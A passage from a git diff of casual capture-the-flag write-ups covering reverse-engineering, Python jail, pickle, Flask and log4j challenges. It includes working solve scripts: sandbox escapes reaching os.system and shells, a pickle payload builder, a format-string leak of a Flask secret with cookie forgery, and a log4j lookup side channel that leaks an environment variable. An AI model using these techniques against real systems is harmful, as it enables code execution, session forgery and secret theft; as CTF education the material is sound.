,0x84, 0x09, 0x00, 0x00, 0x0E, 0x0B, 0x00, 0x00, 0x56, 0x0F, 0x00, 0x00, 0xA2, 0x0D, 0x00, 0x00]
expected = [int.from_bytes(bytes(vals[i:i + 4]), byteorder='little') for i in range(0, len(vals), 4)][12:]
print(expected)
#sanity check
# b = b'cvct'
# print((b[0]*1 + b[1]*4 + b[2]*8 + b[3]*12))
# print((b[0]*1 + b[1]*7 + b[2]*9 + b[3]*13))
# print((b[0]*2 + b[1]*9 + b[2]*11 + b[3]*19))
# print((b[0]*5 + b[1]*7 + b[2]*11 + b[3]*15))
#finally a solution that works with consistent differences
s = Solver()
b = [BitVec("b1", 8),BitVec("b2", 8),BitVec("b3", 8),BitVec("b4", 8)]
s.add((BV2Int(b[0])*1 + BV2Int(b[1])*4 + BV2Int(b[2])*8 + BV2Int(b[3])*12) == expected[0])
s.add((BV2Int(b[0])*1 + BV2Int(b[1])*7 + BV2Int(b[2])*9 + BV2Int(b[3])*13) == expected[1])
s.add((BV2Int(b[0])*2 + BV2Int(b[1])*9 + BV2Int(b[2])*11 + BV2Int(b[3])*19) == expected[2])
s.add((BV2Int(b[0])*5 + BV2Int(b[1])*7 + BV2Int(b[2])*11 + BV2Int(b[3])*15) == expected[3])
print(s.check())
while str(s.check()) == 'sat':
print("".join([chr(s.model()[c].as_long()) for c in b]))
s.add(Or([c != s.model()[c] for c in b]))
```
### boost game
now that we are nearly full solving i gotta try harder so its time to look at the other less solved challs
code looks kinda scary ngl but LOL turns out its way too simple for what it does
in the mess of repeating codes theres an early exit right after a check, and otherwise we increment a counter until 5 which congrats us for getting the flag
then why not just breakpoint at the early exit and see what it checks then change our input to match that
its also not modifying our input at all either it turns out so we can just dynamically obtain whats expected and send that instead
after doing that 5 times we literally just get the flag lol `cvctf{2326651332123730010604561282900}` i was so surprised it worked
solved in like 20 mins too lmao
### my online voucher
movuscated binary :skull:
literally did not want to touch it at all but we have to in order to full solve
but it also turned out to be pretty straightforward logically LOL
-the obfuscation is pretty intersting too in how it uses signal handlers to trigger calls to functions and such
+the obfuscation is pretty interesting too in how it uses signal handlers to trigger calls to functions and such
i only realized it when straced it and realized theres too many segfaults yet the program still ran fine then i remembered the sigaction calls thats the only non mov instructions in the binary
now that its much clearer what the program is doing with being able to map the function calls, i can check a bit after the strlen func call which is likely the flag length check for most flag checkers (it also had "invalid" printf not far after the check too)
and im right - 0x14 was the flag length and now we can go to the next stages
i see a valid call thats never triggered with segfaults (i breakpointed at all `mov [eax], eax` after printfs coz those are the trigger points for the function calls) and an invalid that does after multiple SIGILLs at the end of the entire block of mov instructions
wait ok multiple times? but whats the pattern for that
turns out its literally a char by char check LOL the amount of SIGILLs are the amount of correct inputs until it terminates early after printing "invalid"
this means its time for our good ol pal instruction counting to do its thing
with `handle SIGNAL nostop` we can easily count how many times the char checks have been run without intervention needed too so its a pretty simple script
with this we have flage `cvctf{M0V3c0nfu51ng}`
```py
from pwn import *
import string
import io
context.log_level = 'ERROR'
flag = b'cvctf{'
while len(flag) < 0x14:
for c in string.printable:
p = process(['/usr/bin/gdb', '-q', './voucher'], stdin=PIPE)
p.sendline(b'handle SIGSEGV nostop')
p.recvuntil(b'(gdb)')
p.sendline(b'handle SIGILL nostop')
p.recvuntil(b'(gdb)')
p.sendline(b'start')
p.recvuntil(b'(gdb)')
p.recvuntil(b'SIGSEGV') #we cant recvuntil "Enter your code: " coz its never flushed yet
print(flag + c.encode() + (b'a'*(0x14-len(flag)-1)))
p.sendline(flag + c.encode() + (b'a'*(0x14-len(flag)-1)))
lines = p.recvuntil(b'(gdb)').split(b'SIGILL')
print(len(lines), len(flag))
if len(lines) > len(flag) + 1:
flag += c.encode()
p.send('quit')
p.close()
```
### cheney-on-the-mta
chall desc mentioned a recent ctf, and opening it up we see chicken which was also in sekaictf
pain i have no idea how to even run this but i have to solve it coz its the last chall and [@kever](https://maplebacon.org/authors/vEvergarden/)s nearly done with his last crypto chall
turns out `libchicken.so.11` is an actual library oops lmfao but still i cant run it coz string-utils extension is missing and idk how to get it
and now [@kever](https://maplebacon.org/authors/vEvergarden/) is challenging me to a race to see who solves the chall first so i gotta be quick :skull:
so i just asked other teammates to try figuring out how to run it so i can probably instruction count it (coz strings tells me its another flag checker)
meanwhile ill just look at the data section for the blob of data that basically every flag checker checks against
this binary looks pretty simple in the data section: we have a few strings that has tags in front of it and then a data blob that looks like an array of sth which are all referenced in `C_toplevel` which seems to initialize the globals
looking closer we can see that the strings have 5 bytes as tags, which is quite similar to the array of chunks that the data blob has
splitting it into easier readable lines we get:
```txt
fe03000002feff0100000060
fe03000002feff0100000073
fe03000002feff0100000060
fe03000002feff0100000071
fe03000002feff0100000063
fe03000002feff0100000078
fe03000002feff0100000032
fe03000002feff0100000060
fe03000002feff0100000065
fe03000002feff0100000030
fe03000002feff010000006a
fe03000002feff0100000030
fe03000002feff010000005c
fe03000002feff010000005f
fe03000002feff0100000031
fe03000002feff010000005f
fe03000002feff0100000076
fe03000002feff010000005b
fe03000002feff010000005b
fe03000002feff010000007a
feff0e00
```
which is all repeating aside from the last byte, and looks supsiciously like ascii
also first and third byte are the same?? **c**v**c**tf????
fifth byte is also 3 away from first and third, which is also the difference between ascii `c` and `f`
now im basically convinced this is a direct representation of the flag just slightly shifted
and yep LOL flage `cvctf{5ch3m3_b4by^^}`
```py
data = [0x60, 0x73, 0x60, 0x71, 0x63, 0x78, 0x32, 0x60, 0x65, 0x30, 0x6a, 0x30, 0x5c, 0x5f, 0x31, 0x5f, 0x76, 0x5b, 0x5b, 0x7a]
print(bytes([d + 3 for d in data]))
```
insane how nobody solved this before me coz it was literally right there
guess everyone just got scared by the language like me LOL
[@kever](https://maplebacon.org/authors/vEvergarden/) solved his last crypto 2 mins before i solved this sadge lost the race
but hey with this it means we full cleared the entire ctf lmaooo very nice
i also eventually realized the hint 2 thats released a bit before i solved it (even tho i didnt even realize it was there) said something about "a simple cipher" LOL sure rot3 definitely is simple :skull:
\ No newline at end of file
diff --git a/ctfs/comments/gdgalgiers22.md b/ctfs/comments/gdgalgiers22.md
index 6e9acd5..09a02a6 100644
--- a/ctfs/comments/gdgalgiers22.md
+++ b/ctfs/comments/gdgalgiers22.md
@@ -1,519 +1,533 @@
### exorcist
originally [@Ray](https://maplebacon.org/authors/Ray/) worked on it but he couldnt get pwntools working on his machine so he got me to run it
but it doesnt work anyways and requires "bruteforcing" which i was like we should be able solve it with one req only and thats when i started getting interested in this chall
and then we went on a huge detour trying to figure out why the length is always changing
got so fed up that we went back home mid solving even tho this is a beginner chall lmfao
eventually after clearing my mind by going home i did end up solving it after i used ord the right way lmfao unicode variable length moment
using a really long message we can guarantee we get enough chunks to do a rotation key test based on the flag prefix and some guess work
`CyberErudites{Y0u_kn0w_h0w_T0_XOR}`
```py
from pwn import *
io = remote()'crypto.chal.ctf.gdgalgiers.com', 1002)
io.sendline(b"a"*60)
io.recvuntil(b">> > ")
cipher = io.recvuntil("\n").decode()
print(cipher)
output = [ord(i) for i in bytes.fromhex(cipher).decode('utf-8')]
print(output)
# print(bytes([o^v for o, v in zip(output, b"CyberErudites{")]))
# output = cipher.encode()
for i in range(len(output)):
op = output[-i:] + output[:-i]
print(len(op))
key = bytes([o^v for o, v in zip(op, b"CyberErudites{Y0u_kn0w_h0w_T"*10)])[:16]
print(len(key))
x = bytes([o^v for o, v in zip(op, key*10)])
print(len(x))
print(i)
print(x)
```
### type it
got stuck on validator and kevin higgs and py explorer and new chall came out so i tried solving this
lmfao literally was just unbalanced parentheses like sqli
`())(flag)#` gives `CyberErudites{wh0_N3Ed$_bR4CkeTS}` easily
(`type(flag)(flag)` creates string copying the contents of flag and the # comments out the unbalanced parentheses)
my original payload was `())((flag)` though - `type(())((flag))` gives a tuple created from iterating flag which we can easily convert back to the flag
used this since its basically just brackets lmao
### type it 2
unbalanced parentheses is fixed now, so no more funny shennanigans
most symbols are disallowed too so escape sequences arent easy to create
worse is coz of this we have nothing more than the return type to go off of
but hey in these cases why dont we side channel it like googlectf's log4j2?
we cant use square brackets or basically most things outside of function calls so thats annoying
but from poking around we can create tuples of ints after encoding the flag that have the `.count()` method and we can use the `or None` trick to leak whether the character exists at all
but that means we'd have to play word unscramble lmao no thanks
(and it turns out the flag has multiple same characters pretty frequently too sooo not enough information)
tried to do character by character brute force by popping stuff, but tuples are immutable and creating dicts and lists are all banned
eventually i realized i can obtain list types from `type.mro(<anything>)`, which means we can create lists but appending it is still not really possible since theres no curried function that we can chain to add to a list and `,` is also banned
but `+` aint banned so we can actually create multiple tuples/lists and then chain them together
but now the question comes the constructors for list/tuples need to be iterables and we cant make iterables in the first place thats the headache here
hold on we can make generators though if we skip all the spaces using brackets as delimiters
and if we can make it return arbitrary values of our choice we can just use it
turns out `((121)for(i)in(flag.encode())if(i)is(123))` is the prime way once we know which chars will only appear once (the curly brackets)
now we can just use `startswith` after converting flag to bytes and building a bytes object using the list we created (has to be bytes coz we cant use chr or quotes at all)
and ey we can side channel the flag consistently now by checking whether it returned bool or NoneType
```py
from pwn import *
import string
p = remote("jail.chal.ctf.gdgalgiers.com", 1304)
#p = process(['python3.10', 'jail.py'])
chars = []
"""
(flag.encode().startswith(
type(flag.encode())( #bytes class
type(type.mro(type))( #list class
(type(())( #create tuple from generator
((67) for (i) in (flag.encode()) if (i) is (123))) #generator; 123 is {, which is likely guaranteed to only show up once; brackets help eliminate space use
)
+(type(())(
((121) for (i) in (flag.encode()) if (i) is (123))) #the value assigned is for generating the characters
)
)
)
)) or (None) #show visible hint on whether its true or false, since type only show class names so we need to change it on false
"""
flag = "CyberErudites{"
payloadprefix = "(flag.encode().startswith(type(flag.encode())(type(type.mro(type))("
payloadsuffix = "))))or(None)"
while "}" not in flag:
for i in string.printable:
check = "+".join(["(type(())(((" + str(ord(c)) + ")for(i)in(flag.encode())if(i)is(123))))" for c in flag + i])
p.recvuntil("Input : ")
p.sendline(payloadprefix + check + payloadsuffix)
p.recvuntil("<class '")
resp = p.recvuntil(">")
if b'bool' in resp:
flag += i
print(flag)
```
`CyberErudites{ERRRROR_B4$E3_FTW!!!!}` what bases based on what :upside_down:
also i nearly popped a shell lol after realizing we can access globals with generator objects kekw
`((i.exec(i.input()))for(i)in(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals.values())if(not((type(i))is(type("test")))and(not((type(i))is(type(None)))and(not((type(i))is(type(type(None)))))and(not((type(i))is(type(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals))))))).send(None)` works flawlessly since it filters out everything except the `__builtins__` module
but alas it doesnt just filter internal functions but also everything with a underscore i forgot about that
### impossible challenge
sure its "impossible" if you run it coz rand basically never clashes thrice in a row
but the check is literally there lol and its an array with a simple xor key of `69` ~~haha nice~~
`CyberErudites{$eE_nOthING_I$_1mpo$$iBle}` shouldve left it for the new ppl in the team ngl
or at least try to do it the fun way with patching and dynamic debugging lmao
```py
v11 = [0]*40
v11[0] = 6;
v11[1] = 60;
v11[2] = 39;
v11[3] = 32;
v11[4] = 55;
v11[5] = 0;
v11[6] = 55;
v11[7] = 48;
v11[8] = 33;
v11[9] = 44;
v11[10] = 49;
v11[11] = 32;
v11[12] = 54;
v11[13] = 62;
v11[14] = 97;
v11[15] = 32;
v11[16] = 0;
v11[17] = 26;
v11[18] = 43;
v11[19] = 10;
v11[20] = 49;
v11[21] = 45;
v11[22] = 12;
v11[23] = 11;
v11[24] = 2;
v11[25] = 26;
v11[26] = 12;
v11[27] = 97;
v11[28] = 26;
v11[29] = 116;
v11[30] = 40;
v11[31] = 53;
v11[32] = 42;
v11[33] = 97;
v11[34] = 97;
v11[35] = 44;
v11[36] = 7;
v11[37] = 41;
v11[38] = 32;
v11[39] = 56;
print(bytes([69 ^ i for i in v11]))
```
### venomous
wondered for a bit what even is the privileged thing we gotta run coz theres no suid'd bins but then i saw `script.sh` is whitelisted in sudoers
i then originally tried editing `echo.py` but it doesnt seem to work, and i eventually realized `script.sh` overwrites it later on
`PYTHONINSPECT=1` also didnt work coz sudo clears env
and `sitecustomize.py` doesnt work coz `ctf-cracked` does not have a home dir and global `site-packages` aint modifiable
wanted to break the script so it sets our script to root rwx but that kinda doesnt matter coz we dont get elevated perms running root owned files anyway and the unicode bug got fixed
wouldve been cool if it was related tho https://bugs.python.org/issue35883
after a while of poking turns out its just trick python into loading echo as a directory named `echo` with `__init__.py` instead of `echo.py`
`CyberErudites{NothInG_L1K3_pOIs0n1nG_The_sn4Ke}`
### venomous 2
pretty sure the chall is broken coz i used the exact same payload as venomous 1 and got the flag lol
the `find -maxdepth 1 -delete` command doesnt seem to be working well for some reason
not complaining tho still a flag `CyberErudites{PTiv2BGsB13XBRZRKm5IrMyfXBkJcxBt}`
i wonder if the intended solution is related to zip files
### validator
originally other ppl worked on it and figured out you can do format string injection with SchemaError
and our goal is to leak the secret and encode our own session cookie into it to access the `/flag` endpoint
so it basically ended up being a pyjail and thats where i come into play
got insanely stuck though coz i couldnt think of a way to get globals without being able to call funcs like `__subclasses__()` or assign values like `sys.stdout.flush = breakpoint`
got some inspiration after poking at py explorer for a bit
so i thought back to why some `__init__` has `__globals__` and i remembered something edward brought up
if a class is custom made then its methods that is custom defined would have `__globals__` (what i understood is as long as its not a builtin method or a slot wrapper etc) then we have `__globals__`
with that i tried seeing if MyDict's `__setattr__`/`__getattr__` has `__globals__` and bruh sure enough there it is
we were literally there lmao i just distracted everyone by thinking of `__subclasses__()`
but now the problem comes - if we provide an invalid field name to the schema the data being formatted is a string for some reason
and if we give an invalid field type we get BOTH the MyDict object and the wrong field object and the wrong field object is always a python builtin data type which doesnt have `__globals__` so it errors out regardless
after poking around a bit again i realized an empty MyDict `{}` triggers `SchemaMissingKeyException` and that literally just gives MyDict only
eyyyyyy there we go `{0.__class__.__getattr__.__globals__[app].secret_key}` with `{}` and any field name + type yields us the secret key `3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy`
which we can just grab some flask cookie encode script online like https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe and set isAdmin to true then visit `/flag`
and we get the flag ey `CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}`
```py
import requests
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
# Override method
# Take secret_key instead of an instance of a Flask app
def get_signing_serializer(self, secret_key):
if not secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
def decodeFlaskCookie(secret_key, cookieValue):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.loads(cookieValue)
# Keep in mind that flask uses unicode strings for the
# dictionary keys
def encodeFlaskCookie(secret_key, cookieDict):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.dumps(cookieDict)
secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy'
print(requests.get('http://validator.chal.ctf.gdgalgiers.com/flag', cookies={'session':encodeFlaskCookie(secret_key, {'isAdmin':True})}).content)
```
### garbage truck
-- literally no src and it just prints `empty garbage truck` for like most of the time
-- other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao
-- the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this`
-- after trying to map out whats banned i realized i can `breakpoint()`
-- which means i can literally escape to host now ey
-- but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist
-- i also cant do `sh` for some reason i can only run commands from `os.system()`
-- pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about
-- but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop
-- tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason
-- also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now
-- then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still
-- and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]`
-- `CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}`
+
+literally no src and it just prints `empty garbage truck` for like most of the time
+
+other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao
+
+the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this`
+
+after trying to map out whats banned i realized i can `breakpoint()`
+
+which means i can literally escape to host now ey
+
+but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist
+
+i also cant do `sh` for some reason i can only run commands from `os.system()`
+
+pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about
+
+but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop
+
+tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason
+
+also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now
+
+then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still
+
+and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]`
+
+`CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}`
### kevin higgs the revenge
my angstrom payload almost works if you remove the frame opcode
but setattr got banned lol so my persistence mechanism is no more sadge
and i cannot for the life of me think of how to persist otherwise with the restraints so i gave up for a bit
after the success of validator i set out to ~~right my wrongs~~ i mean to redeem myself by solving all 3 challs i was looking at at the maple bacon meeting
so its time to come back to this chall
i started out by clearing my mind off angstrom's mess of a solve script and tried to build the angstrom pickle from scratch using [@Robert](https://maplebacon.org/authors/Nneonneo/)'s helper funcs he sent while we were doing dice @ hope with MMM
and wow in the meantime i really learnt a ton on how the pickle stack machine actually works
so i tried to figure out whether theres opcodes like build that [@Robert](https://maplebacon.org/authors/Nneonneo/) mentioned back then too but no all of the opcodes that interact with python is banned aside from reduce and global/stackglobal
but then while poking around i remembered i actually have one more layer of depth i can go for the setattr thing
and i realized `empty.__dict__` exists
so we just need a method to accept a value and we are gold
update doesnt really work coz `DICT` opcode is banned but `setdefault` works well (turns out i used it in maplectf ubc/saplingctf too but i forgot lol)
so with that we can just recreate the angstrom pickle this time in much more structured form that i actually understand well lmao
adding the "bruteforcing index" script from dice @ hope to find `os.wrap_close`'s index we get the script
```py
from pwn import *
from pickle import *
import struct
def flatten(x, res=None):
if res is None:
res = bytearray()
if isinstance(x, bytes):
res += x
elif isinstance(x, list) or isinstance(x, tuple):
for r in x:
flatten(r, res)
else:
print("WRONG TYPE FOR", x)
return res
def put(x):
return [BINPUT, struct.pack('<B', x)]
def get(x):
return [BINGET, struct.pack('<B', x)]
def pint(x):
return [BININT, struct.pack("<I", x)]
def getglobal(fqn):
module, name = fqn.split(".", 1)
return [GLOBAL, module.encode('utf8'), b'\n', name.encode('utf8'), b'\n']
def pstr(x):
x = x.encode('utf-8', 'surrogatepass')
return [BINUNICODE, struct.pack('<I', len(x)), x]
def pdict(*x):
return [MARK, x, DICT]
def ptuple(*x):
return [MARK, x, TUPLE]
def plist(*x):
return [MARK, x, LIST]
attr = ord('a') #automatic tracking of attribute names; start at initialization then iterate up on ascii value
def next(func, args=None):
global attr
attr += 1
return [BINGET, b'\0', #reuse setdefault since we memoized it
ptuple(
pstr(chr(attr)), #setdefault can only be used once effectively, so we need a different attribute name
getglobal('empty.' + chr(attr-1) + '.' + func), #get the next obj to work with
[ptuple(args), #optional - empty is fine
REDUCE] if args != None else [], #only functions have the extra reduce step; attributes dont - assume if args exist then it is a function
),
REDUCE, #and persist the object to the current attribute
POP]
#__class__.__base__.__subclasses__()[117].__init__.__globals__["system"]("ls -la")
#generate pickle based on provided index for os.wrap_close
def pkl(index):
global attr
attr = ord('a') #reset attr to initial attribute
p = [PROTO, b'\x05',
#get empty.__dict__.setdefault for setdefault(key, value) persistence
#we dont use update() since that requires a dict and DICT opcode is banned
getglobal("empty.__dict__.setdefault"),
MEMOIZE,
#empty.__class__.__base__
ptuple(
#key
pstr('a'),
#value
getglobal("empty.__class__.__base__")
),
#run empty.__dict__.setdefault('a', <class object> obtained from STACK_GLOBAL)
REDUCE,
POP, #discard the returned object we dont need it
#.__subclasses__()
next('__subclasses__', args=[]),
#.__getitem__(117)
next('__getitem__', args=pint(index)),
#.__init__
next('__init__'),
#.__globals__
next('__globals__'),
#.__getitem__('system')
next('__getitem__', args=pstr('system')),
#('sh')
getglobal('empty.' + chr(attr)), #finally grab f (current attribute storing the object) and call it
ptuple(
pstr('cat flag.txt'), #seems like its running busybox again #nvm tty is dead cant use ash anyway b"ash: can't access tty; job control turned off\n"
),
REDUCE,
STOP]
return flatten(p).hex()
for i in [138]: #range(130, 140): #get around 134 and see if any looks like it got a shell
s = remote('jail.chal.ctf.gdgalgiers.com', 1300)
#s = process(['python3.10', 'challenge.py'])
s.recvuntil('Enter')
payload = pkl(i)
print(payload)
print(i)
s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc
resp = s.recvall(timeout=1)
if b'AttributeError' not in resp:
s.interactive()
else:
s.close()
```
and with this we can easily get the flag (after getting confused on why the shell aint popping which turns out to be them using busybox just like garbage truck but also disabling tty this time lol)
`CyberErudites{wOw_L3T$_CR0wn_THe_nEw_pIcKle_Ch4MP1On}`
really happy now that i understand exactly how my solve for kevin higgs work lmaooo
when i solved kevin higgs it was more of a trial and error until oh wow it works thing lmao
~~kinda like how i do dynamic analysis for rev challs tbh except i am reving my own script lmfao~~
### PY explorer
this chall had by far the least solves so i thought i prob wasnt on the right track when i thought about `sys.stdout.flush = breakpoint` and then realizing i cant find a func thats run either on exit or automatically periodically outside of sys which is not an imported module
coz everything like `object.__del__` (cannot modify builtin methods) to ExitStack callbacks (doesnt call unless we set it on an object) to atexit (not imported) to even `weakrefs.finalize` which HAS atexit that works even though i need to put the func in the constructor with an object (eg `object.__subclasses__()[270](object, breakpoint)`) and it doesnt seem to pop up unless im in interactive and even then it only pops up randomly anyway (turns out i also cant do sth like `object.__subclasses__()[270]._registry.keys().__iter__().__next__()._exitfunc = breakpoint` either coz exitfunc is readonly)
not to mention we need to access builtins functions to get breakpoint too (but theres a lot of funcs with `__globals__` in `__init__` it turns out)
but after solving kevin higgs v2 it reminds me i can use `os.wrap_close` here still
so i got `object.__subclasses__([137].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` which is like 1/2 done (`__init__.__self__` is needed since PY explorer doesnt allow you to select from a dict twice in a row coz it has to be after choosing an attribute; i learnt that trick while investigating validator iirc)
then after looking up some more writeups on pyjails i realized ppl are finding `system()` in `__globals__` not `__builtins__`
which suddenly reminded me i swear i saw sys somewhere when i was getting the breakpoint func
turns out `os.wrap_close` has both `sys` and `__builtins__` lmao bruh i completely forgot
welp with selecting both object in the ui like this to do `object.__subclasses__()[134].__init__.__globals__['sys'].stdout.flush = object.__subclasses__([134].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` we can get pdb running right after we finish selecting the objects
even though we have to blindly type in coz stdout flush wont work anymore lol
i thought it was broken until i typed `interact` and `*interactive*` popped out probably from stderr
so i just `import os; os.system('sh')` to drop into a shell with working flush ey
with that we can just `cat flag` and get the flag `CyberErudites{PY_0bj3cT7SS_AR3_MIN3}`
i was on the right track all along lmaoo
with that we've became jail bacon :sunglasses: full clearing is just that easy only took me like 19 hours yep
\ No newline at end of file
diff --git a/ctfs/comments/googlectf22.md b/ctfs/comments/googlectf22.md
index 8362074..de2186b 100644
--- a/ctfs/comments/googlectf22.md
+++ b/ctfs/comments/googlectf22.md
@@ -1,86 +1,86 @@
### log4j2
building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful
since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking
and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword
i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything)
so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked
-but then i remembered the influxql chall from wectf that me and angus solved where angus found a way to side channel it
+but then i remembered the influxql chall from wectf that me and [@Angus](https://maplebacon.org/authors/alueft/) solved where he found a way to side channel it
and i see `%equals` being a thing in the specifiers
so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{<guess>}{<something that triggers a warning only when run>}`
however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched
but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{<anything>}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{<guess>}{%C{a}}`
but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{<len of guess>}}{<guess>}{%C{a}}`
with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow
`%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution)
with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}]}{=}}{<guess>}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character
turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets
and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{<len of guess>}}{[\{\}.]}{=}}{<guess + padding as needed>}{%C{a}}`
we can get the script that generates the flag:
```py
import requests
import string
flag = 'CTF='
while True:
for c in string.ascii_lowercase + '-=':
#if c in '}{ ': #for string.printable since these instantly breaks parser
# continue
pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour
payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}"
print(payload)
r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload})
print(r.content)
if b'Sensitive' in r.content:
flag += c
print('current', flag)
break
if flag.endswith('===='):
break
```
and here's the breakdown of the payload:
-```
+```text
%equals{
%replace{
%maxLen{
${env:FLAG} #retrieve original flag
}{
4 #flag length to check - must match the check length since theres no startWith in log4j so we have to truncate
}
}{
[\{\}.] #find all { }s in flag, along with the elipsis
}{
= #replace with placeholder - see flag to check for more info
}
}{
CTF= #flag to check - note that = is in place of { since curly brackets escaping is not a thing in %equals it looks like
}{
%C{a} #this triggers a warning only if it hits, aka it wont show WARNING if equals never matched - i originally used %d, but the format evaluates regardless whether it hit or not (hitting will show 2 warnings instead of 1 which doesnt help)
}
```
`CTF{and-you-thought-it-was-over-didnt-you}`
for some reason the ending bracket never got hit though, so the endswith clause never ran
but hey flag is flag ey
diff --git a/ctfs/comments/tamuctf22.md b/ctfs/comments/tamuctf22.md
index 497c9a6..8958f6a 100644
--- a/ctfs/comments/tamuctf22.md
+++ b/ctfs/comments/tamuctf22.md
@@ -1,505 +1,508 @@
### covfefe
decompile the class, and print the nArray
```java
import java.util.*;
import java.util.stream.*;
public class Main {
public static void main(String[] stringArray) {
int n;
int n2 = 35;
Integer[] nArray = new Integer[n2];
for (n = 0; n < n2; ++n) {
nArray[n] = 0;
}
nArray[0] = 103;
nArray[1] = nArray[0] + 2;
nArray[2] = nArray[0];
block16: for (n = 3; n < 8; ++n) {
switch (n) {
case 3: {
nArray[n] = 101;
continue block16;
}
case 4: {
nArray[6] = 99;
continue block16;
}
case 5: {
nArray[5] = 123;
continue block16;
}
case 6: {
nArray[n + 1] = 48;
continue block16;
}
case 7: {
nArray[4] = 109;
}
}
}
nArray[8] = 102;
nArray[9] = nArray[8];
nArray[25] = nArray[28] = nArray[7];
nArray[24] = nArray[28];
nArray[10] = 51;
nArray[11] = nArray[10] + 12 - 4 - 4 - 4;
nArray[22] = nArray[27] = nArray[0] - (int)Math.pow(2.0, 3.0);
nArray[15] = nArray[27];
nArray[12] = nArray[27];
nArray[13] = 49;
nArray[14] = 115;
block17: for (n = 16; n < 22; ++n) {
switch (n) {
case 16: {
nArray[n + 1] = 108;
continue block17;
}
case 17: {
nArray[n - 1] = 52;
continue block17;
}
case 18: {
nArray[n + 1] = 52;
continue block17;
}
case 19: {
nArray[n - 1] = 119;
continue block17;
}
case 20: {
nArray[n + 1] = 115;
continue block17;
}
case 21: {
nArray[n - 1] = 121;
}
}
}
nArray[23] = 103;
nArray[26] = nArray[23] - 3;
nArray[29] = nArray[26] + 20;
nArray[30] = nArray[29] % 53 + 53;
nArray[31] = nArray[0] - 18;
nArray[32] = 80;
nArray[33] = 83;
nArray[n2 - 1] = (int)Math.pow(5.0, 3.0);
